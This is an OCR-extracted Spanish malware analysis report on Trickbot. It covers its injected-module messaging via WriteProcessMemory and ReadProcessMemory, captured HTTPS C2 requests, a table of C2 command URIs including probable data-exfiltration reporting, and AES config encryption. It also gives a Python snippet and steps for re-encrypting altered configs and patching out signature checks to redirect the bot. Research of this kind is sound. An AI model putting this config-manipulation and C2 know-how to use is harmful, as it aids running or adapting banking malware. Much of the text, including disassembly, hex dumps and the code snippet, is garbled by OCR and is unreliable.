| [ e B2
IPBIDG add
309 now

[esi+8Lh], ebx
short loc_2DBAFA|

=]
QOIDBEIF1 add
AOIDEIFL now

ebx, [ebprvar_8]

[ebprvar_A]
[esi+%@h], ebx

e
e

systeminfo32.dil ]

2030BICH jrp short loc_3pB3FA| |@630B30F jep 2
iy l—%n—

_ 1

Ordinal Function RV4& | Name Ordinal | Mame RVA Mame
(nFunctions) Dword Word Dword szfinsi
00000001 00002150 0000 0000517F Control
00000002 00002230 0001 00005187 FreeBuffer
00000003 00002180 0002 00005192 Release
00000004 00002100 0003 00005194 Start



Para realizar la transferencia de informacion al mdédulo, tras pasar por la zona de la
funcion a la que quiere llamar, realiza un WriteProcessMemory de los datos en

cuestién y llama a ResetEvent para que el médulo empiece a trabajar.

h 4

FIZE

moy eax, [esi+78h]

nov ecx, [esi+48h]

Xor edx, edx

novy [ebp+var_28], edx

mov [ebp+dwSize], edx

lea edx, [ebp+duSize]

push edx ; lpHumberOfBytesWritten
push 4Ch ; nSize

lea edx, [ebp+Buffer]

push edx 5 lpBuffer

push eax ; lpBasefddress
push BeCX ; hProcess

nov [ebp+uar_uh], 1

nov [ebp+uvar_ 48], ebx

call edi ; WritePrucessMEhur”

test eax, edx

jz short loc_3DCS5F8

L ]

mou edi, A4Ch
cmp [ebp+dwSize], edi
jnz short loc_3DCSF8

i

mov eax, [esi+6Ch]

push eax ; hEvent
call ds:ResegEggn;

call sub_ [H¢]

test eax, eax

jz short loc_3DCSF8




5. CONEXIONES DE RED

Para las comunicaciones con sus C2, este malware utiliza peticiones HTTPS, lo cual
complica la identificacion de su trafico por medio de herramientas como NIDS al uso,

puesto que dicho tréfico va cifrado.

Generalmente estas comunicaciones las realiza por el puerto 443, aunque no siempre
es asi, ya que a partir de las primeras versiones, empez6 a utilizar el puerto 447 de

algun C2 concreto para la descarga de los modulos.

Un elemento que ha resultado diferenciador de su trafico es su User-Agent, ya que en
un inicio le identificaba perfectamente: usaba la cadena TrickLoader en todas sus

peticiones:

unicode 8, <TrickLoader>

dd offset aTrickloader
En versiones intermedias del mismo pasé a ser algo menos obvia, pero manteniendo
una estructura poco comun y facil de detectar, pasando a ser la cadena “Xmaker”:

unicode 8, <{Xmaker>.,0
align 18h

En las ultimas versiones, como otro de los cambios claramente orientados a hacer
este malware menos detectable, los autores han empezado a utilizar un User-Agent
mucho mas genérico:

unicode 8, <HMozilla/s5.@ EHindEWS HT 6.1; WoWsh4; rv:51.8) Gecko/281801>
unicode 8, <81 Firefox/51.8>,8

Las peticiones estan formadas de manera que gran cantidad de la informacién que
reporta al C2 va en la URI, siendo la mayoria de estas peticiones de tipo GET,
exceptuando envios mas extensos de informacién recopilada por sus médulos, que

envia por POST.



GET /pre7/
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 65.1; WOWS4;

Host: 203

HITP/1.1 200 OK

Server: nginx/1.6.2

Date: Mon, 03 Apr 2017 16:32:41 GMT
Content-Type: binary

Connection: keep-alive
Content-Length: 224

[l ® olil ol 000000l oo

BT T) VT T ST ™ I YRS T

..... m..\t..q.e.@...2....5! .0.0.7..!| .2 ..

4BCO3524F/5/spk/ HTTP/L.1

rv:51.0) Gecko/20100101 Firefox/51.0

{o=~11....1.8..5. - cuevvcaaRe P Vs o HL B0 M g e T e Suylbeas oty 2hoK. L. 048

.0...GET /pre7/
20SP1/1015/ )
Connection: Keep-Alive

34BCO3524F/ 0,/ Wi ndows%207%20x B86%
JESEA20F35C5,/qLT IULCENUBkKZ tuW2gnPeZ/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:S51.0) Gecko/20100101 Firefox/S51.0

Host: 203

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Mon, @3 Apr 2017 16:32:41 GMT
Content-Type: text/plain
Connection: keep-alive
Content-Length: 371

/1/pre7/
F...P...0G.

C16B4BCO3524F/qLT LU1CBNUBk Kz tuW2gnPeZ,/ 272/
.Co..u) Bl xlbl=

G...1 .1....... UBG. & .. .... Ld..]..[G.z...f.! .
dft = P e WL L. > DV XL (LT Y..hsh.7.."v=.D.d.0.5@.d...>N.]..1q.2.
...... JiTHoB s He oo R 00 tesf K KN VLRY L2 WE 53 N M. B QA ] g07

1234567890GET /pre7,
Connectlon: Keep-Alive

BABCO3524F/10/62/QEY ZLSVQPLSANAVA/ 1/ HTTR/L.1

User-Agent: Mozilla/S5.0 (Windows NT 6.1; WOWE4; rv:51.0) Gecko/20100101 Firefox/S51.0

Host: 203 ~ -~

Entre los datos que contienen las URI de las peticiones, se puede encontrar el

identificador de la campafa actual y el ID de usuario que guarda en los dos ficheros

gue genera junto al ejecutable, en las primeras etapas de su ejecucion. También un

namero que identifica la orden que le esta enviando al C2 para que éste pueda

diferenciar lo que le esta solicitando o reportando, y posteriormente diferentes datos

extra relativos al comando en cuestion.

A partir de lo que hemos analizado y de informacién obtenida de diferentes analisis

externos, hemos creado la siguiente tabla con un resumen de la funcionalidad de cada

orden que hemos identificado.

ID
/[group_id]/[client_id]/0/[version de windows]/[idioma del sistema]/[ip

i R externalljsha256]/key de sesion)/

Descripcion Reporte con informacion basica del cliente.
L URI /lgroup_id)/[client_id]/1/[key de sesidn]/

Descripcion Keep alive.
5 URI /[group_id)/[client_id]/5/[modulo/configuracion]/

Descripcion Descarga de mddulo o de configuracion de un médulo.
10 URI /lgroup_id]/[client_id]/10/62/[key de sesion]/1/

Descripcion Inicio de modulo.



14

23

25

60

63

64

URI
Descripcion
URI
Descripcion
URI
Descripcion
URI
Descripcion
URI
Descripcion

URI

Descripcion

/[group_id)/[client_id]/14/[key de sesi6n]/[value]/0/
Reporte con informacion de errores, checks y otra info
/[group_id]/[client_id]/23/[config ver]/

Actualizacién de configuracion base
/[group_id)/[client_id]/25/[key de sesion]/
Actualizacién del bot

/[group_id]/[client_id]/60/

Reporte de trafico capturado por el modulo injectDII

/[group_id]/[client_id]/63/[module name]/[module command]/[result -
base64]/[root tag of output XML]/

Report de systeminfo o injectDlI

Todo apunta a que se trata de un comando relacionado con el médulo
mailsearcher. Lo que si que se ha visto es que realiza peticiones POST con
contenido multipart. Por lo que apunta a ser un comando de exfiltracion.

Desde el codigo de Trickbot, se puede observar como en una de sus funciones

contiene el switch que se encarga de dirigir el flujo de ejecucion que genera dichas

peticiones dependiendo del comando. En la siguiente imagen se puede observar dicho

codigo para una de sus versiones mas antiguas (Version 1000005):

Analizando la misma funciébn de una de las versiones mas recientes (Version

1000010), podemos observar como han afiadido una opcion extra tras la ultima, que

correspondia al comando con nimero 63, y a la que se accede con un nuevo comando

nimero 64:



Las funciones que se ejecutan a partir de pasar por esta zona nueva de codigo
(comando numero 64) son muy parecidas a las del comando 63, por lo que es
probable que también se trate de un comando para realizar reporting. La aparicion de
este nuevo comando (64) coincide en el tiempo con la aparicion del nuevo modulo

“mailsearcher”, por lo que todo apunta a que estos estan relacionados.

Tras la ejecucién de la muestra correspondiente a la version 14 en un entorno
controlado, hemos analizado su flujo de trafico que muestra buena parte del

comportamiento de la ejecucién de este malware.

/5/spkf

Config spk cifrada

| JO/IWin_version)/[ID_Idioma_sistema)/[IP_Victimal/sha256/qLT1IU1CBNUBkKztuW2gnPeZ/

[/1/(g_tag)/(u_id)/qLT1ULICBNUBKkKztuW2gnPeZ/272/] + [config C2 447] + [1234567890]

/5/systeminfo32/

Modulo systeminfo cifrado

‘ flUIBZIQEYZLSVQPLSANAVNU‘

403 - Forbidden

‘ /63/systeminfo/start/(null)/f |

403 - Forbidden

@

‘ /10/62/EKSDSKNXADMCB/1/ ‘

Link para la descraga de la ultima
403 - Forbidden version de Trickbot

‘ /63/systeminfo/GetSystemInfo/c3VjY2Vzew ==/systeminfo/

/25/qYLCLk4uktEiwene2mku/

XML con info recopilada del sistema por el modulo

n
Descarga del modulo injectDIl y sus configs
!5IinjectDII3ZI| ‘ /5.'sinjf| | ISIdinj." | IS]dpost!| /14/NAT%20status/client%20is%20behind%20NAT/0/
Para cada peticién recive el fichero correspondiente cifrado fav

403 - Forbidden - - 1/
/10/62/OFKIBLBJVYOHR/L/ .'63ﬁn,ectD||fstaru(Successjuwwzwcw::/f'ﬂ 114/user/SYSTEM/0/

Se ha omitido la primera parte de las peticiones para simplificar los comandos.



6. MECANISMO DE CIFRADO

En el gran trabajo realizado por malwarebytes (@hasherezade) se detalla que el

algoritmo de cifrado utilizado por Trickbot es AES CBC 256 bits. También en esa
misma entrada sobre este asunto nos indican que el primer DWORD se trata del

tamafio de los datos. Ademas, @hasherezade ofrece recursos tras su investigacion

para descifrar tanto las configuraciones como los médulos, cosa que facilita entender

Trickbot y su evolucion.

Partiendo de esta informacion y visualizando como se descifra el contenido es sencillo
realizar el proceso inverso y construir un script o modificar el suyo para que nos
proporcione la capacidad de cifrar configuraciones modificadas por nosotros para
manipular de un modo méas cémodo los flujos de ejecucion de Trickbot. La

implementacion de la funcién de cifrado seria tan sencilla como:

aes encryptl{data):

token Random.new() .read(:

key = hash rounds(token[:@ :

iv = hash_rounds(token[0x108:0x30])[:0x18]

aes = AES.new(key, AES.MODE CBC, iv)

data = pad(data)

result token aes.encryptidata)
result

Para realizar este proceso podemos partir de una configuracion que obtengamos

cifrada y con la herramienta de @hasherezade la podemos descifrar. Una vez

descifrada, la podemos modificar, como en el siguiente ejemplo donde afiadimos la
direccion IP local 11.11.11.1:443 (ip propia del entorno de Laboratorio) y la carga del
mddulo “mailsearcher”. Con esto pretendemos que utilice la IP 11.11.11.1:443 como
mando y control y que cargue el modulo “mailsearcher” que por defecto no suele

venir.

Tras modificarlo con un editor hexadecimal tendriamos lo siguiente:


https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/

00000000|00 02 00 00 BC 03 00 02 3C 6D 63 63 6F 6E 66 3E OD OA 3C 76 65 72 3E 31 30 30 30 30 31 35(........ <mccenf>..<ver>1000015
0000001e|3Cc 2F 76 65 72 3E 0D OR 3C 67 74 61 67 3E 74 74 30 30 30 32 3c 2F 67 74 61 67 3E 0D OA 3C|</ver>..<gtag>tt0002</gtag>..<
0000003c|73 65 72 76 73 3E 0D OR 3C 73 72 76 3E 31 39 30 2E 31 33 38 2E 32 34 39 2E 34 35 3A 34 34(servs>..<srv> f.45:44
0000005a |33 3c 2F 73 72 76 3E 0D OA 3C 73 72 76 3E 32 30 30 2E 31 31 39 2E 32 33 36 2E 38 36 3A 34(3</srv>..<srv> p.86:4

00000078|34 33 3c 2F 73 72 76 3E OD 0A 3c 73 72 76 3E 33 36 2E 36 36 2E 31 30 37 2E 31 36 32 3a 34 43</srv>..<srv>'—162:4
00000096(34 33 3c 2F 73 72 76 3E OD 0& 3C 73 72 76 3E 32 30 30 2E 31 31 36 2E 32 30 36 2E 35 38 3A(43</srv>..<srv> .58
000000k4 |34 34 33 3C 2F 73 72 76 3E 0D OA 3C 73 72 76 3E 33 36 2E 36 36 2E 32 30 39 2E 32 31 3A 34(443</srv>..<srv> pl:4
000000d2 |34 33 3c 2F 73 72 76 3E OD 0& 3c 73 72 76 3E 32 30 33 2E 37 36 2E 31 30 35 2E 38 32 3A 34(43</srv>..<srv> .B2:4
000000£0 |34 33 3c 2F 73 72 76 3E OD 0& 3c 73 72 76 3E 32 30 30 2E 31 32 30 2E 32 31 34 2E 31 35 30(43</srv>..<srv> .150
0000010e|3A 34 34 33 3Cc 2F 73 72 76 3E 0D 0A 3C 73 72 76 3E 31 31 2E 31 31 2E 31 31 2E 31 32 34 34(:443</srv>..<srv>11.11.11.1:44
0000012c|33 3C 2F 73 72 76 3E 0D 0A 3C 73 72 76 3E 32 30 33 2ZE 39 32 2E 36 32 2E 34 36 3A 34 34 33(3</srv>..<srv> 6:443
0000014a|3C 2F 73 72 76 3E 0D OA 3C 73 72 76 3E 38 34 2E 34 32 2E 31 35 39 2E 31 33 38 3A 34 34 33(</srv>..<srv> 8:443

00000168 |3C 2F 73 72 76 3E 0D OA 3C 2F 73 65 72 76 73 3E 0D DA 3C 61 75 74 6F 72 75 6E 3E 0D OA 3C|[</srv>..</servs>..<autorun>..<
00000186 |6D 6F 64 75 6C 65 20 6E 61 6D 65 3D 22 73 79 73 74 65 6D 69 6E 66 6F 22 20 63 74 6C 3D 22 [module name="SyS =t 1="
000001a4 |47 65 74 53 79 73 74 65 6D 49 G6E 66 6F 22 2F 3E 0D OA 3C 6D 6F 64 75 6C 65 20 6E 61 6D 65 |GetSystemInfo"/>..<module name
000001c2|3D 22 69 6E 6A 65 63 74 44 6C 6C 22 2F 3E 0D OA 3C 6D 6F 64 75 6C 65 20 6E 61 6D 65 3D 22[="injectDll"/>..<module name="
000001e0|6D 61 69 6C 73 65 61 72 63 68 65 72 22 2F 3E 0D DA 3C 2F 61 75 74 6F 72 75 6E 3E 0D OA 3C|mailsearcher™/>..</autorun>..<
000001fe|2F 6D 63 63 6F 6E 66 3E 0D 0OA 1B 77 60 DB 6F 52 95 44 95 CA 1A 35 1E 4A 8B 02 1A 74 13 1E|/mcconf>...w .oR.D...5.J...t..
0000021c|6F 91 OF 4A D3 2A 07 C2 72 68 5D BA 83 3A 33 39 BD DE 72 04 88 F5 A2 99 27 BC A7 58 02 A3|o..J.*..rh]
0000023a|07 E9 6E E8 A3 4C E6 4B C5 F5 1A BE 4A 9D E3 36 36 90 7D 2D D& 42 E3 12 BO D9 A7 F2 13 D7|..n..L.K..
00000258 |23 45 9F C8 &7 10 DB OF EF B3 83 2p 60 67 8C 36 02 02 10 10 10 10 10 10 10 10 10
00000276|10 10 10 10 13 59 3B 4E EA 51 A8 (OB 18 BE 0OA 44 DB CD 02 2B 47 7B Bl 5A BS 02 E6
00000294 |E0 D2 32 CO 3B 49 0A L_

Después de los primeros 8 bytes es cuando empiezan los datos de configuraciéon
como tal. En estos primeros 8 bytes, serd donde Trickbot buscara el tamafio de los
datos que vendran a continuacion. En el caso de ejemplo eso se corresponde con el
valor 02 00 (en la imagen esta al revés, 00 02), esto seria 0x200 bytes. Si
seleccionamos el conjunto de datos veremos que tiene justo el tamafio 0x200 bytes:

00000000|00 02 00 00 8C 03
0000001e
0000003¢c
0000005a
00000078
00000096
00000004
000000d2
000000£0
0000010e
0000012¢
0000014a
00000168
ooooolge
00000124
000001c2
00000120
000001fe
0000021c
0000023a
ooooo2s58
00000276
00000294

signed 8 bit: |27 | Signed 32 bit: | 460808411 | Hexadecimal: |18 77 60 DB | ®
Unsigned 8 bit: [27—| Unsigned 32 bit: [W‘I\ Decimal: [Wﬁzﬂ\

signed 16bit: 7031 | Float 32 bit: [2,046266E22 | Octal: (033167140333 |
Unsigned 16bit: (7031 | Float 64 bit: 2,3076841884025E-176 | Binary: (00011011 01110111 01100000 11011011 |

7] show little endian decoding ) show unsigned as hexadecimal AsCllText: [Eilw? |
Offset: 0x208 / 0x29a Selection: 0x8 to 0x207 (0x200 bytes)  INS

Por tanto, después de modificar la informacion deberemos ajustar los primeros bytes
para indicarle a Trickbot el tamafio exacto de los datos. Después ciframos con la
funcion que hemos llamado aes_encrypt(). Con esto tendremos una nueva
configuracién que aun no acabara de estar funcional del todo.

La razon por la que no funciona es porque Trickbot después de los datos cifrados
coloca la firma del hash de los datos. Por lo tanto si modificamos el contenido de la
configuraciéon tenemos que calcular la firma de los datos ya que la verifica después de
leer la configuracion. Para calcular la firma del hash de los datos que acaba de leer



utiliza la KEY que viene en los resources del binario. Vemos a continuacion como

carga los key de los resources:

5 Stack view osx

DEF92R
OU1BF92N  DWIERZEN .rC

tazaey

Después ejecutara la funcion LoadResource() y veremos en EAX el valor donde estara
la KEY:

-text:003D87DA push eax ; hResInfo »||Enx BB3ES A6 W
-text: 003D §TIB-pOSIT ST ; hHodule .
-text:-8A3DE7DC call ds:LoadResource ; kernelbase_LoadResource() (E18E3 LRI 2>
.text:ﬂﬂﬂDLﬂ_mﬂle-ﬂ_Em'l. —TETSIT... .. HaSTeememennns Jozeo oL To...|AY....A.Xyp...B") ECX 75021333 &
_text:003D87E2 test eax, eax EDX BB3EB000
.text:003D87EL jz short loc_3D87FD ESI pO0O0ARE
.text:083D87E6 push eax ; hResData EDI 60000060 &
-text:-08083DBTE7 arg_@0: BxB83e5868 (“h.._ECS38.... .. M.s?. ... .... Josoo HOLTo L |AW. .. _A_Xyp.") EBP BO18F938 &
-text:883D87E7 call ds:LockResource 5 kernelbase_LockResource()

.text:0083D87ED EAX: 0x08063e5060 (“h...ECS30.... .. [ Iy Jogeoitte L Tooo AW .. .A.XyUp...8") ESP BU18F92C &
-text:083DE7ED 5_arg_80: 8x083e50868 {(“h...EC338.... .. {eSFccconoooaooo Jog.o HLLL.T...o|AY. L LALKY'T) EIF BB3DB7VE2 4w
-text:08083D87ED mov esi, eax EFL BB0A024Y

La clave que hay en los resources tiene el siguiente aspecto (veréis que el binario
presentado no tiene el resource CONFIG tipico de la version 14 de Trickbot, esto es
para obligarle a leer la configuracion del fichero config.conf. Esto no es necesario pero

lo hemos hecho para poderle cambiar la configuracién de una forma mas sencilla):

= ..__'l RCData

=Y e - fanc:ol [N T - I B P -

Difsst o1 2 3 4 &5 6 7 8 9 A B C D EF Ascii

00000000 | 68 00 00 OO0 45 43 53 33 30 00 00 00 F3 20 §6 DE (k.. ECS30...a.10
goooooio ) 20 4D FO 73 37 BR FB 18 EO CO AF 30 BB F3 FE F1 MESTpnt t A ol
ooooooz2o | 44 Co 3B <6 00 1F 23 EF 1C 4C 06 54 A3 8F A6 19 JAE. #i I-T: |G
oooooo3n | 7C 41 57 EB OB EC 7F 41 A1 528 79 70 0D C3 Al 38 | AVE M A i Hyp Ai 8
oooooodn | 1C EE E2 7A D1 29 FB Be 55 41 DE 8E C7 C7 3E 1E “ézﬁ)ﬁﬂUA%lCC)
oooonos0 | F3 B4 67 63 D3 B0 FS GB GBF D1 CO Gé BS 38 87 DE | & goOPRS[_HAV, 290
ooooooed | BS 44 D7 E1 38 79 3E 63 2B 03 ZE C8 pDxdByrc+ - K

Y esta clave veremos que es la que importa la funcion BCryptimportKeyPair() cuando
hace el push eax. El valor de EAX es igual a 0x004B90E8, que como vemaos en la vista

hexadecimal se corresponde con la clave que estaba en los resources:



& Breakpoints B IDA View-A, Hex View-2 2 | 1Bt General registers o x

TE DA View-a O & x |EAX 004B9OES & debugBz?:004B9 OES OF 8
_text:083DAF5C push esi ; _DWORD - ||EBX 064B68108 & debug22: 00486310 DF 8
_text:003D4FSD push  edx ; _DWORD [ [ECX B018F8AB & Stack[00000000] :0818F8A0 #E;
'i"?ggggﬂﬁﬁ push o Leppruarel DUORD EDx v : g0
olEAEE pus e 5 d ESI 000060000 - 2F1
.text:003D4F62 lea ecx, [ebp+uar 4
Ttext:0OIDAFES push  ecx Lebp 1 : _DUORD EDI 003935C8 & debug021:00393508 AF 0
_text :B83D4F66 push offset aEccpublicblob ; "ECCPUBLICBLOB" EBP B018F8A% & Stack[ B0BBOBER]:BO18F8AL EE;
.text:003D4F6B push  esi B ESP 0018F868 % Stack[ 00000BB 0] : 0018F868
-text:B03DAFEC push edx H EIP 083D4F6D & sub_3D4ED 0+9D
.text:003D4F6D  arg 00: 0x00314a38 (*....QUUU ) EFL 00808246
.text:003D4F6D h: 06x00000000 (“"H/A™)

.text:003D4F6D : Bx003e1d9c -> Bx0O30045 ("........... Sonoones ) K..=...A...E...")
.text:603 - PETIC B 1t 8.4 ... 4 HEA . ") [Slecy = & X
_text :883puF6D arg_18: B8x00320aa8 £338")
G | text:ooapuren call duord_SEATES ; bcrypt_BCryptImportKeyPair() BO18F86C  BO00OBAA T
6618F870 OO3E1D9C .rdata:aEccpublicblob I
00004F5C 003D4FSC: sub_3D4EDO+8C ~||6B18F874 BO18F8AB Stack[ B0OOOBBO]:BB18FEAB
al = ] +| ||8B18F878 DOMBOBES debugb22:0OLBODES
0018F87C
Q) Hex View-2 O & X |gp18F880 08000A6A

0618F884 004B6188 debugd22:004BG188
B618F888 @B4B6958 debug022: 0BLBA958
AP18FBBC 0AAAAAAA
A618F806 06060636

1B4BIBES EE 43 53 33 30 00 0D OO F3 20 86 DB 20 4D FO 73
J6E4BOBFE 37 B5 FB 18 BA CO AF 88 BB F3 FB F1 4A CB 3B C6
10489108 @88 1F 23 EF 1C 4C 086 54 A3 8F A6 19 7C 41 57 EB

16489118 OB BC 7F 41 A1 58 79 70 0D C3 A1 38 1C 5E E2 7A _+.AiXyp_+i8. 0z
18489128 D1 29 FB B6 55 41 D5 8E C7 C7 3E 1E F3 B4 67 63 B)'AUAIARRD .%jqc 0O18F804  BO4B6810 debug22:0B4B6S10
J04B912& D3 50 F5 5B 5F D1 CO 56 B8 38 87 DB BS 4% D7 E1  EP§[_p+Uesg!ADin 0B18FE80E 00000000
10489148 38 79 3E 63 2B 03 2E C8 AB AB AB AB AB AB AB AB Sydce..+kiiikily BB18FBOC  BB4B6BSS  debug 22 : BOLBESSS
|64B0158 00 0O 00 00 00 00 60 0@ E6 3C 17 7E 2A 1D 00 18 .. ~x 0018F8A0 8000008

16589168 @0 B0 08 08 78 51 45 02 68 8F 4B 60 88 5D 4B 80 ... .pQE.h_K.8]K.

UNKNOWN 0018FE68: Stack[00000BBO (Synchronized with ESP)[§

Después de importar la clave utiliza la funcion BcryptVerifySignature() para hacer la

verificacion de la firma.

BB3D4FAD  arg B8: Bx002F7he8 (... .RUUUSJA..H1..... D R Xd.7.")
O03D4FAD  arg 04: Bx0000B0OA ('N/A™)
B3D4FAD  arg_B8: BxO031%a08 (“A..].p\..-U%]0...Ma..R.....BUSA. . AN(TcoMee B W onneeneo. ™)
G83D4FAD  arg Bc: Bx0A00AB3E ('N/A™)

O03D4FAD  arg_18: Bx0 LT n__ 5.0t o 0 x vhl -390 ¢
BB3D4FAD call dword 3E47EC ; bcr tUerifysignature()

XML K.,

La otra clave que utiliza Trickbot es como hemos comentado para descifrar la

configuracién y los médulos, y veremos cémo la importa mediante la funcion del api

CryptimportKey():

-text:008D53F7 push  edi + |[EAX BO18F898 & Stack[000005AL]:B018FB98

.text:803D53F8 lea ecx, [ebx+8] — |l o

~text:BBIDSIFB mou duord ptr [ebp+pbData], 288h o o oororac 4 .

text:0B3D5482 mou [ebp+var_3C], 6618h Ecx 018Fa5c ¢ Stack[886085A%]: 0818FB5C
BY GUG QALY

_text:BB3D5LB9 mou [ebp+uar_38], 26h ' debug822:00526440
.text:003D5410 lea edi, [ebp+var 34] ESI B852BXF8 % debugB22:BB52BFFA
.text:003D05413 rep mousd [

.text:803D5415 lea eax, [ebp+phKey] .
.text:883D5418 push eax ; phKey o2 UL ICUELL LR [EL LTS
_text:A83D5419 mou edi, 1 % Stack[90000%A%4]:0018F838
-text:B63D541E push edi ; duFlags EIP BB3D5427 decrypt+467
.text:0803D541F push ebx ; hPubKey EFL 000002 62

.text:0803D54208 push 2Ch ; dwbatalLen

.text:803D5422 lea ecx, [ebp+pbData] @smmﬁ_

.textfﬂﬂﬂDSlQS push ecx , pli)ata B018F85 00800268

.text:0883D5426 push edx ; hProv B018F86 08806610

-text:803D5427 call ds:CryptImportKey ; sub_751D9B4C()

BB18F86 apapes2 8
B618F86 F4B2571C
G618F86Y 593394FR

-text:@pB3D542D EAX: 62000000081 (“N/A")
.text:003D542D test eax, eax

.text:0083D542F jz short loc_3D54AC

-text:0883D5431 mov ecx, [ebp+phKey] gg}gx; zgggg;gg
-text:0883D5434 mov esi, ds:CryptSetkeyParam B018F87 1125p77C
.text:803D543A push ebx ; dwFlags B018F87 COBT7B5E
.text:003D543B lea eax, [ebp+var_14] B018F8 SDEDED21
.text:0803D543E push eax ; pbbata B018F88 3DIBAGDE
_taxt:ARIDGLAF nush i = duParam

Llegados a este punto tenemos dos opciones: o modificar el flujo de ejecucion del
programa para que el proceso de verificacion siempre nos diga que es correcta la
firma o replicar el proceso de firma del hash de los datos que realiza Trickbot.
Nosotros por simplicidad hemos optado por la opcion de modificar el flujo de ejecucion
del binario para que no haga falta que esté correctamente firmado.



7. MECANISMO DE IPC (Inter-Process
Communication)

Uno de los aspectos interesantes de este malware es como recupera la informacién
desde los modulos. Utiliza la lectura mediante ReadProcessMemory de los procesos
hijos que ha creado. A continuacion vamos a ver el ejemplo donde Trickbot (el core)
lee lo que devuelve el médulo systeminfo. Si nos paramos en uno de los
ReadProcessMemory que hemos identificado, vemos que le pasa como parametro el
handle del proceso remoto (3D0):

View-A, Breakpaints, Pseudocode-A, General registers, Stack view, Hex view-1 [ ‘ & Structures | 3 Enums

IDA View-A [x] Braakpoints | pssudacode-A ‘ Bt General registers O& x
.text:003DBSF3 loc_ 3DBEF3: ; CODE XREF: leer_memoria_1+288Tj ~||Enx BOB0B3DE OF 8
.text:003DBSF3 mov eax, [ebp+Buffer] . DF B
_text:803DBEF6 mou ecx, [ebx] | |||[EBX 8891689C & debugB67:0091689C F1
_text:003DBSF8 lea edx, [ebp+arg_6] =0
-text:0803DBSFB push edx ; lpNumber0fBytesRead EDX 8818F28C W Stack[B806089D0]:0018F250 SF@
-text:003DBSFC push eax ; nSize ESI BOO34398 & debugol7:00034308 2Fa
-E‘-‘"Fg:gggg:g addn E:"- 4 LoBuFf EDI 75AECFCC & kernel32.d11:kernel32_ReadProcesstiemory AF 8
Jtext: pus ebx ; lpBuffer A PF1
_text:803DB901 mou [ebp+uar 107, eax EBP B918F284 & Stack[ 006009D0] : 0018F284 o8
.text:003DB904 mou eax, [esi+h8h] ESP 0018F244 & Stack[ 006009D6]: 0018F244
.text:003DB907 push ecx ; lpBaseAddress EIP 883DB918 % leer_memoria_1+238
.text:003DB2088 push eax ; hProcess EFL 60066206
.text:0083DB2089 mov [ebp+arg 0O g
.text:003DB916 call edi ; Leemos el resultado getsysteminfo del pi o8 x
.text:803DB912 test eax, eax
.text:003DB914 jz short loc_3DB91E -
-text:003DBY16 mou eax, [ebp+var_10] G 082866F 0 [
.text:803DBE919 cmp [ebp+arg_8], eax 0091689C  debugB67:9091689C bl
-text:08083DBY1C jz short loc_3DB927 0018F2568 0088622D
-text:003DBY1E 0018F254 0018F28C Stack[B06009DE]:0818F28C
.text:883DB91E loc 3DBY1E: ; CODE XREF: leer memoria_1+234tj 0018F258  75AEDSCD - kernel32.dll:kerneld2 lstrcmpitt
.text:003DBY1E mov [ebp+uar_4], @ 0018F25C 00034398 debugb17:00034398

00008910 003DB310: leer_memoria 14230 (Synchronized with Eex View-1) ~ ||m7avoRN 0018F244: Stack[000009D0] :0018F24¢ (Synchronized with ESP) ~

En la siguiente imagen veremos mejor como el handler 3D0 se corresponde con el
proceso hijo svchost.exe:



(m=1] Propiedades: 1000014 _win32_Unpacked_custorn_noverify_config_conf_4.exe (3640)

| General I Statistics | Performance I Threads I Token I Modules I Memory I En'u'irunment| Handles | Comment

Hide unnamed handles

Type Mame HandIeT
Thread 1000014 win32_Unpacked_custom_,.. 0x434
Thread 1000014 _win32_Unpacked_custom_... Ox<4ic
Thread 1000014 _win32_Unpacked_custom_... 0x<404
Thread 1000014 _win32_Unpacked_custom_... 0x3f3
Process svchost.exe (2544) 0x3d0
File C:\WUsers\john\appData'RoamingMi...  0x37c
kKey HKCU\Software\Polices\WMicrosoft's,.. 0x344
Key HKLM\SOFTWARE\Polides\Microsoftl,..  0x308
Key HELM\SOFTWARE\Microsoft\Enterpri...  Ox2d4
Key HKCU 0x2d0
Key HKCU\Software\Microsoft\SystemCe,..  0x2c8
Key HKLMVSOFTWARE\Microsoft\Enterpri,..  0x2c4
Key HKCU 0x2c
Key HELM\SOFTWARE\Microsoft\System...  0xZbc
Key HKCU\SoftwareMicrosoft\SystemCe..,  0xZb&
Key HECUSoftware \Microsoft\SystemCe...  OxZb4
Key HELM\SOFTWARE\Microsoft\System...  0xZbd
Key HKLMVSOFTWAREMicrosoft\Enterpri...  OxZac
Key HKLMSOFTWARE\Microsoft\System...  0x2a8
Key HECUSoftware\Microsoft\SystemCe...  Ox2a4
Key HELM\SOFTWARE\Microsoft\System...  Ox2ad
Key HKLMSOFTWARE\Microsoft\Enterpri,..  0x29c
Key HEKCLU 0x293
[P LA RALA A T A AP T IR e e e L P ke e M. T A

Podemos ver el PID del proceso padre y el del hijo aqui:

= prugin_nusexe 140e 13,32M0  junn-pyonn

A
4[= 7 1000014_win32_Unpacked_custom_noverify_config_conf 4.exe 3640 373MB john-pcijohn
=] svchost.exe 2544 15MB john-pcyjohn Proceso host para los servicios de Windows

La direcciobn de memoria que quiere leer (IpBaseaddress) es 0x2866f0, que como
podemos ver en el registro ECX de la imagen del ReadProcessMemory(). Como ya
hemos dicho la quiere leer del proceso remoto svchost (handler 3D0) y en ese instante

lo que contiene esa direccion de memoria es:



=] Propiedades: svchost.exe (2544)

| General | Statistics I Performance | Threads I Token I Modules | Memory | Environment I Handles I Comment

Hide free regions E
Base Address Type Size  Protect... Lse Total WS Private WS Shar
> 0140000 Private 4kB RW 4kB 4kB
> 0x 150000 Private 4kB  RWX 4kB 4k
> 0x 160000 Private 256 kB R Stack (thread 1398) 16 kB 16 kB
> 0x1a0000 Private 4kB  RWX 4kB 4k
> 0x1h0000 Private 4kB  RWX 4kB 1k
> 0x1d0000
> 0x220000 7| svchost.exe (2544) (0x230000 - 0x292000)
4 0%230000
0230000 000S66F0 3c 73 79 73 74 &5 6d 69 6= 66 6f 3e 0d Oa 3c &7 <3ysteminfo>..<g
352000 00056700 &5 fe &5 72 61 &c 3e 0d Oz 3c 6f 73 3e 4d 69 &3 eneral>..<oaxMic
